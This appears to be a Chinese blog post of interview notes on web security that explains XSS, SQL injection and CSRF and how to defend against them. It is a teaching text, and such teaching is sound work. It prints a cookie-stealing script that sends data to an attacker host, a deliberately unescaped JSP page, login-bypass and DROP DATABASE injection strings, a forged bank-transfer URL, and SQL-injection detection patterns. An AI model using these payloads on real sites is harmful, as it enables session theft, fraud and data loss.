資深程序員之路(1)--如何保證代碼是沒安全漏洞的

一個偶然的機會需要競標一個大項目,需要參加甲方的資深架構師面試,事先有一點準備,如何保證代碼是沒安全漏洞的,如何保證代碼是clean的,要了解設計模式,能畫出一個UML class圖,如何做持續集成和部署,agile開發
上面的這些對於大多數程序員可能完全涉及不到,這些更多是概念和習慣層面的,可以區分優質的程序還是入門的。還瞭解到面試官是個外國人需要英語面試,壓力更大一些。當然這些並不包含資深程序員應該瞭解的全部,更不代表瞭解了這些就能做項目,事實上即便不瞭解這些也同樣能做開發,但如果面對世界五百強等有安全要求風險要求合規要求的,就很有必要掌握了。

這裏逐個說一下,先從代碼漏洞(Security Flaw,Security vulnerability)開始,代碼安全主要涉及XSS, SQL注入檢查, CSRF。

XSS攻擊
XSS又稱CSS,全稱Cross SiteScript,跨站腳本攻擊,是Web程序中常見的漏洞,XSS屬於被動式且用於客戶端的攻擊方式,所以容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入(傳入)惡意的HTML代碼,當其它用戶瀏覽該網站時,這段HTML代碼會自動執行,從而達到攻擊的目的。如,盜取用戶Cookie、破壞頁面結構、重定向到其它網站等。攻擊之前,我們先找到一個存在XSS漏洞的網站,XSS漏洞分爲兩種,一種是DOM Based XSS漏洞,另一種是Stored XSS漏洞。理論上,所有可輸入的地方沒有對輸入數據進行處理的話,都會存在XSS漏洞,漏洞的危害取決於攻擊代碼的威力,攻擊代碼也不侷限於script。

DOM Based XSS
DOM Based XSS是一種基於網頁DOM結構的攻擊,該攻擊特點是中招的人是少數人。

場景一:
當我登錄a.com後,我發現它的頁面某些內容是根據url中的一個叫content參數直接顯示的,猜測它測頁面處理可能是這樣,其它語言類似:

<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

    <head>

       <title>XSS測試</title>

    </head>

    <body>

       頁面內容:<%=request.getParameter("content")%>

    </body>

</html>
  我知道了Tom也註冊了該網站,並且知道了他的郵箱(或者其它能接收信息的聯繫方式),我做一個超鏈接發給他,超鏈接地址爲:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,當Tom點擊這個鏈接的時候(假設他已經登錄a.com),瀏覽器就會直接打開b.com,並且把Tom在a.com中的cookie信息發送到b.com,b.com是我搭建的網站,當我的網站接收到該信息時,我就盜取了Tom在a.com的cookie信息,cookie信息中可能存有登錄密碼,攻擊成功!這個過程中,受害者只有Tom自己。那當我在瀏覽器輸入a.com?content=<script>alert(“xss”)</script>,瀏覽器展示頁面內容的過程中,就會執行我的腳本,頁面輸出xss字樣,這是攻擊了我自己,那我如何攻擊別人並且獲利呢?

Stored XSS
Stored XSS是存儲式XSS漏洞,由於其攻擊代碼已經存儲到服務器上或者數據庫中,所以受害者是很多人。

場景二:

  a.com可以發文章,我登錄後在a.com中發佈了一篇文章,文章中包含了惡意代碼,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。這時Tom和Jack看到了我發佈的文章,當在查看我的文章時就都中招了,他們的cookie信息都發送到了我的服務器上,攻擊成功!這個過程中,受害者是多個人。
   Stored XSS漏洞危害性更大,危害面更廣。

XSS防禦
我們是在一個矛盾的世界中,有矛就有盾。只要我們的代碼中不存在漏洞,攻擊者就無從下手,我們要做一個沒有縫的蛋。XSS防禦有如下方式。

完善的過濾體系
永遠不相信用戶的輸入。需要對用戶的輸入進行處理,只允許輸入合法的值,其它值一概過濾掉。

Html encode
假如某些情況下,我們不能對用戶數據進行嚴格的過濾,那我們也需要對標籤進行轉換。

  比如用戶輸入:<script>window.location.href=”http://www.baidu.com”;</script>,保存後最終存儲的會是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展現時瀏覽器會對這些字符轉換成文本內容顯示,而不是一段可執行的代碼。

Basically the characteristic of XSS is inputting harmful code into any text input filed of a web page. So what we need to do is translate all the content which inputted by user to safe html format. i.e. less-than character (<) become “& lt;” Any ASCII code character whose code is greater-than or equal to 0x80. Simply we can use htmlencode function to do this.

SQL注入 SQL Injection Attack
一、SQL注入簡介

SQL注入是比較常見的網絡攻擊方式之一,是針對程序員編程時的疏忽,通過SQL語句,實現無帳號登錄,甚至篡改數據庫。

二、SQL注入攻擊的總體思路

1.尋找到SQL注入的位置

2.判斷服務器類型和後臺數據庫類型

3.針對不通的服務器和數據庫特點進行SQL注入攻擊

三、SQL注入攻擊實例

比如在一個登錄界面,要求輸入用戶名和密碼:

可以這樣輸入實現免帳號登錄:

用戶名: ‘or 1 = 1 –

密 碼:

點登陸,如若沒有做特殊處理,那麼這個非法用戶就很得意的登陸進去了.(當然現在的有些語言的數據庫API已經處理了這些問題)

這是爲什麼呢? 下面我們分析一下:

從理論上說,後臺認證程序中會有如下的SQL語句:

String sql = "select * from user_table where username=

' "+userName+" ' and password=' "+password+" '";

當輸入了上面的用戶名和密碼,上面的SQL語句變成:

SELECT * FROM user_table WHERE username=

'’or 1 = 1 -- and password='

分析SQL語句:

條件後面username=”or 1=1 用戶名等於 ” 或1=1 那麼這個條件一定會成功;

然後後面加兩個-,這意味着註釋,它將後面的語句註釋,讓他們不起作用,這樣語句永遠都能正確執行,用戶輕易騙過系統,獲取合法身份。

這還是比較溫柔的,如果是執行

SELECT * FROM user_table WHERE

username=” ;DROP DATABASE (DB Name) –’ and password=”

….其後果可想而知…

四、應對方法

1.(簡單又有效的方法)存儲過程或PreparedStatement

採用存儲過程或預編譯語句集,它內置了處理SQL注入的能力,只要傳值即可。

使用好處:

(1).代碼的可讀性和可維護性.

(2).存儲過程或PreparedStatement盡最大可能提高性能.

(3).最重要的一點是極大地提高了安全性.

原理:

sql注入只對sql語句的準備(編譯)過程有破壞作用

而存儲過程或PreparedStatement已經準備好了,執行階段只是把輸入串作爲數據處理,

而不再對sql語句進行解析,準備,因此也就避免了sql注入問題.

2.使用正則表達式過濾傳入的參數

正則表達式:

var CHECKSQL = “^(.+)\sand\s(.+)|(.+)\sor(.+)\s$”;

下面是具體的正則表達式:

檢測SQL meta-characters的正則表達式 :

/(\%27)|(\’)|(–)|(\%23)|(#)/ix

修正檢測SQL meta-characters的正則表達式 :/((\%3D)|(=))[^\n]*((\%27)|(\’)|(–)|(\%3B)|(:))/i

典型的SQL 注入攻擊的正則表達式 :/\w*((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix

檢測SQL注入,UNION查詢關鍵字的正則表達式 :/((\%27)|(\’))union/ix(\%27)|(\’)

檢測MS SQL Server SQL注入攻擊的正則表達式:

/exec(\s|+)+(s|x)p\w+/ix

等等…..

3.字符串過濾

比較通用的一個方法:

(||之間的參數可以根據自己程序的需要添加)

String inj_str = “’|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,”;

檢查輸入的文本是否包含||之間的參數

總之,沒有(運行時)編譯,就沒有注入。

Sql injection attack is caused by treating user input as SQL command. So avoid SQL run-time compile can avoid sql attack. By using procedure or filter hamful sql keyword.

CSRF
CSRF概念:CSRF跨站點請求僞造(Cross—Site Request Forgery),跟XSS攻擊一樣,存在巨大的危害性,你可以這樣來理解:
攻擊者盜用了你的身份,以你的名義發送惡意請求,對服務器來說這個請求是完全合法的,但是卻完成了攻擊者所期望的一個操作,比如以你的名義發送郵件、發消息,盜取你的賬號,添加系統管理員,甚至於購買商品、虛擬貨幣轉賬等。 如下:其中Web A爲存在CSRF漏洞的網站,Web B爲攻擊者構建的惡意網站,User C爲Web A網站的合法用戶。

CSRF攻擊攻擊原理及過程如下:
1. 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登錄網站A;
2.在用戶信息通過驗證後,網站A產生Cookie信息並返回給瀏覽器,此時用戶登錄網站A成功,可以正常發送請求到網站A;
3. 用戶未退出網站A之前,在同一瀏覽器中,打開一個TAB頁訪問網站B;
4. 網站B接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問第三方站點A;
5. 瀏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在用戶不知情的情況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求其實是由B發起的,所以會根據用戶C的Cookie信息以C的權限處理該請求,導致來自網站B的惡意代碼被執行。

CSRF攻擊實例
受害者 Bob 在銀行有一筆存款,通過對銀行的網站發送請求 http://bank.example/withdraw?account=bob&amount=1000000&for=bob2 可以使 Bob 把 1000000 的存款轉到 bob2 的賬號下。通常情況下,該請求發送到網站後,服務器會先驗證該請求是否來自一個合法的 session,並且該 session 的用戶 Bob 已經成功登陸。
黑客 Mallory 自己在該銀行也有賬戶,他知道上文中的 URL 可以把錢進行轉帳操作。Mallory 可以自己發送一個請求給銀行:http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory。但是這個請求來自 Mallory 而非 Bob,他不能通過安全認證,因此該請求不會起作用。
這時,Mallory 想到使用 CSRF 的攻擊方式,他先自己做一個網站,在網站中放入如下代碼: src=”http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory ”,並且通過廣告等誘使 Bob 來訪問他的網站。當 Bob 訪問該網站時,上述 url 就會從 Bob 的瀏覽器發向銀行,而這個請求會附帶 Bob 瀏覽器中的 cookie 一起發向銀行服務器。大多數情況下,該請求會失敗,因爲他要求 Bob 的認證信息。但是,如果 Bob 當時恰巧剛訪問他的銀行後不久,他的瀏覽器與銀行網站之間的 session 尚未過期,瀏覽器的 cookie 之中含有 Bob 的認證信息。這時,悲劇發生了,這個 url 請求就會得到響應,錢將從 Bob 的賬號轉移到 Mallory 的賬號,而 Bob 當時毫不知情。等以後 Bob 發現賬戶錢少了,即使他去銀行查詢日誌,他也只能發現確實有一個來自於他本人的合法請求轉移了資金,沒有任何被攻擊的痕跡。而 Mallory 則可以拿到錢後逍遙法外。

CSRF漏洞檢測:
檢測CSRF漏洞是一項比較繁瑣的工作,最簡單的方法就是抓取一個正常請求的數據包,去掉Referer字段後再重新提交,如果該提交還有效,那麼基本上可以確定存在CSRF漏洞。
隨着對CSRF漏洞研究的不斷深入,不斷涌現出一些專門針對CSRF漏洞進行檢測的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具爲例,CSRF漏洞檢測工具的測試原理如下:使用CSRFTester進行測試時,首先需要抓取我們在瀏覽器中訪問過的所有鏈接以及所有的表單等信息,然後通過在CSRFTester中修改相應的表單等信息,重新提交,這相當於一次僞造客戶端請求。如果修改後的測試請求成功被網站服務器接受,則說明存在CSRF漏洞,當然此款工具也可以被用來進行CSRF攻擊。

防禦CSRF攻擊:
目前防禦 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證。
(1)驗證 HTTP Referer 字段
根據 HTTP 協議,在 HTTP 頭中有一個字段叫 Referer,它記錄了該 HTTP 請求的來源地址。在通常情況下,訪問一個安全受限頁面的請求來自於同一個網站,比如需要訪問 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory,用戶必須先登陸 bank.example,然後通過點擊頁面上的按鈕來觸發轉賬事件。這時,該轉帳請求的 Referer 值就會是轉賬按鈕所在的頁面的 URL,通常是以 bank.example 域名開頭的地址。而如果黑客要對銀行網站實施 CSRF 攻擊,他只能在他自己的網站構造請求,當用戶通過黑客的網站發送請求到銀行時,該請求的 Referer 是指向黑客自己的網站。因此,要防禦 CSRF 攻擊,銀行網站只需要對於每一個轉賬請求驗證其 Referer 值,如果是以 bank.example 開頭的域名,則說明該請求是來自銀行網站自己的請求,是合法的。如果 Referer 是其他網站的話,則有可能是黑客的 CSRF 攻擊,拒絕該請求。
這種方法的顯而易見的好處就是簡單易行,網站的普通開發人員不需要操心 CSRF 的漏洞,只需要在最後給所有安全敏感的請求統一增加一個攔截器來檢查 Referer 的值就可以。特別是對於當前現有的系統,不需要改變當前系統的任何已有代碼和邏輯,沒有風險,非常便捷。
然而,這種方法並非萬無一失。Referer 的值是由瀏覽器提供的,雖然 HTTP 協議上有明確的要求,但是每個瀏覽器對於 Referer 的具體實現可能有差別,並不能保證瀏覽器自身沒有安全漏洞。使用驗證 Referer 值的方法,就是把安全性都依賴於第三方(即瀏覽器)來保障,從理論上來講,這樣並不安全。事實上,對於某些瀏覽器,比如 IE6 或 FF2,目前已經有一些方法可以篡改 Referer 值。如果 bank.example 網站支持 IE6 瀏覽器,黑客完全可以把用戶瀏覽器的 Referer 值設爲以 bank.example 域名開頭的地址,這樣就可以通過驗證,從而進行 CSRF 攻擊。
即便是使用最新的瀏覽器,黑客無法篡改 Referer 值,這種方法仍然有問題。因爲 Referer 值會記錄下用戶的訪問來源,有些用戶認爲這樣會侵犯到他們自己的隱私權,特別是有些組織擔心 Referer 值會把組織內網中的某些信息泄露到外網中。因此,用戶自己可以設置瀏覽器使其在發送請求時不再提供 Referer。當他們正常訪問銀行網站時,網站會因爲請求沒有 Referer 值而認爲是 CSRF 攻擊,拒絕合法用戶的訪問。
(2)在請求地址中添加 token 並驗證
CSRF 攻擊之所以能夠成功,是因爲黑客可以完全僞造用戶的請求,該請求中所有的用戶驗證信息都是存在於 cookie 中,因此黑客可以在不知道這些驗證信息的情況下直接利用用戶自己的 cookie 來通過安全驗證。要抵禦 CSRF,關鍵在於在請求中放入黑客所不能僞造的信息,並且該信息不存在於 cookie 之中。可以在 HTTP 請求中以參數的形式加入一個隨機產生的 token,並在服務器端建立一個攔截器來驗證這個 token,如果請求中沒有 token 或者 token 內容不正確,則認爲可能是 CSRF 攻擊而拒絕該請求。
這種方法要比檢查 Referer 要安全一些,token 可以在用戶登陸後產生並放於 session 之中,然後在每次請求時把 token 從 session 中拿出,與請求中的 token 進行比對,但這種方法的難點在於如何把 token 以參數的形式加入請求。對於 GET 請求,token 將附在請求地址之後,這樣 URL 就變成 http://url?csrftoken=tokenvalue。 而對於 POST 請求來說,要在 form 的最後加上 ,這樣就把 token 以參數的形式加入請求了。但是,在一個網站中,可以接受請求的地方非常多,要對於每一個請求都加上 token 是很麻煩的,並且很容易漏掉,通常使用的方法就是在每次頁面加載時,使用 javascript 遍歷整個 dom 樹,對於 dom 中所有的 a 和 form 標籤後加入 token。這樣可以解決大部分的請求,但是對於在頁面加載之後動態生成的 html 代碼,這種方法就沒有作用,還需要程序員在編碼時手動添加 token。
該方法還有一個缺點是難以保證 token 本身的安全。特別是在一些論壇之類支持用戶自己發表內容的網站,黑客可以在上面發佈自己個人網站的地址。由於系統也會在這個地址後面加上 token,黑客可以在自己的網站上得到這個 token,並馬上就可以發動 CSRF 攻擊。爲了避免這一點,系統可以在添加 token 的時候增加一個判斷,如果這個鏈接是鏈到自己本站的,就在後面添加 token,如果是通向外網則不加。不過,即使這個 csrftoken 不以參數的形式附加在請求之中,黑客的網站也同樣可以通過 Referer 來得到這個 token 值以發動 CSRF 攻擊。這也是一些用戶喜歡手動關閉瀏覽器 Referer 功能的原因。
(3)在 HTTP 頭中自定義屬性並驗證
這種方法也是使用 token 並進行驗證,和上一種方法不同的是,這裏並不是把 token 以參數的形式置於 HTTP 請求之中,而是把它放到 HTTP 頭中自定義的屬性裏。通過 XMLHttpRequest 這個類,可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性,並把 token 值放入其中。這樣解決了上種方法在請求中加入 token 的不便,同時,通過 XMLHttpRequest 請求的地址不會被記錄到瀏覽器的地址欄,也不用擔心 token 會透過 Referer 泄露到其他網站中去。

然而這種方法的侷限性非常大。XMLHttpRequest 請求通常用於 Ajax 方法中對於頁面局部的異步刷新,並非所有的請求都適合用這個類來發起,而且通過該類請求得到的頁面不能被瀏覽器所記錄下,從而進行前進,後退,刷新,收藏等操作,給用戶帶來不便。另外,對於沒有進行 CSRF 防護的遺留系統來說,要採用這種方法來進行防護,要把所有請求都改爲 XMLHttpRequest 請求,這樣幾乎是要重寫整個網站,這代價無疑是不能接受的。

簡而言之
通過 referer、token 或者 驗證碼 來檢測用戶提交。
儘量不要在頁面的鏈接中暴露用戶隱私信息。
對於用戶修改刪除等操作最好都使用post 操作 。
避免全站通用的cookie,嚴格設置cookie的域。

CSRF

參考:
http://blog.csdn.net/ghsau/article/details/17027893
http://www.cnblogs.com/baizhanshi/p/6002898.html
http://www.phpddt.com/reprint/csrf.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章